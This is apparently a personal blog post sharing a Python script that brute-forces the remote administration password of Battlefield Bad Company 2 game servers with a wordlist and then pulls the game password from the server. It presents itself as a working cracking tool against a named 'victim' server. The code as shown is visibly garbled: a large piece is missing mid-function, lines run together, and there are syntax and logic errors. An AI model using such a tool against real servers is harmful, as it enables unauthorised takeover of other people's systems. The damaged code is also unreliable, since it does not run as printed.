BFBC2 Password Cracker – Python

This is a test script I wrote one night when I was bored to launch a dictionary attack against Battlefield Bad Company 2 gameservers… Possibly a bit buggy and not very well commented… Interestingly, as far as I know this was the first ever cracker for it. It was written in the same week the game was released.

CODE:

#!/usr/bin/env/python
 
import socket
import binascii
import string
import hashlib
import sys
from optparse import OptionParser
from struct import *
 
# The following functions are taken from Dice's CommandConsole.py demo application
 
def EncodeHeader(isFromServer, isResponse, sequence):
    header = sequence & 0x3fffffff
    if isFromServer:
        header += 0x80000000
    if isResponse:
        header += 0x40000000
    return pack(' 0:
                print "Opening Socket... ",
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect( (server, port) )
            sock.setblocking(1)
 
            sendQue = EncodeClientRequest( [ "login.hashed" ] )
            sock.send(sendQue)
            saltresponse = sock.recv(4096)
            [fromserver, response, sequence, data] = DecodePacket(saltresponse)
            if data[0] != 'OK':
                print "Whoops, we've encountered an error with the server..."
                sys.exit(0)
            salt = data[1].decode('hex')
            if verbose > 0:
                print "Grabbing salt... Got salt " + data[1]
 
            hash = generatePasswordHash(salt, word)
            hashstring = string.upper(hash.encode("hex"))
            if verbose > 0:
                print "Trying %s hashed as %s" % (word, hashstring)
            sendQue = EncodeClientRequest( [ "login.hashed", hashstring ] )
            hashresponse = sock.recv(4096)
            [fromserver, response, sequence, data] = DecodePacket(hashresponse)
            if data[0] == "OK":
                sendQue = EncodeClientRequest( [ "vars.gamePassword" ] )
                sock.send(sendQue)
                sock.recv(4096)
                gamePassResponse = sock.send(sendQue)
                [fromserver, response, sequence, data] = DecodePacket(gamePassResponse)
                if len(data) > 1:
                    print "\tSUCCESS! The admin password found is \"%s\", in addition the game password is \"%s\"" % (word, data[1])
                else
                    print "\tSUCCESS! The admin password found is \"%s\"" % word
                sendQue = EncodeClientRequest( [ "quit" ] )
                sock.send(sendQue)
                foundPass = 1
                if sock is not None:
                    sock.close()
                break
            if sock is not None:
                sock.close()
 
    except EOFError, KeyboardInterrupt:
        pass
    except socket.error, detail:
        print "Network Error: ", detail[1]
    except:
        raise
 
    dictfile.close()
    if foundPass < 1:         print "Oh why bother, its pointless anyway..." def main():     parser = OptionParser("\nUsage: %prog [options] [victim]") #\n\nOptions\n  -d | --dict\t\t- Dictionary to use\n  -p | --port\t\t- Admin Port\n  -c | --change\t- Change Password\n  -v | --verbose\t- Verbose output")     parser.add_option("-d", "--dict", dest="dictionaryfile", help="Dictionary (wordlist) file to use.", metavar="FILE")     parser.add_option("-p", "--port", type="int", dest="portnumber", help="Servers administration port.")     #parser.add_option("-c", "--change", type="string", dest="newpass", help="Change the password.")     parser.add_option("-v", "--verbose", action="store_true", dest="verbosity", help="Enable verbose (debug) output.")     (options, arguments) = parser.parse_args()     if len(arguments) > 1:
        parser.error("Please only specify a single server...")
    elif len(arguments) < 1:
        parser.error("Please specify a server...")
    elif options.portnumber == None:
        parser.error("Please specify a port...")
    elif options.dictionaryfile == None:
        parser.error("Please provide an input dictionary...")
    else:
        crackthatwhip(arguments[0], options.portnumber, options.dictionaryfile, options.verbosity)
 
if __name__ == "__main__":
    main()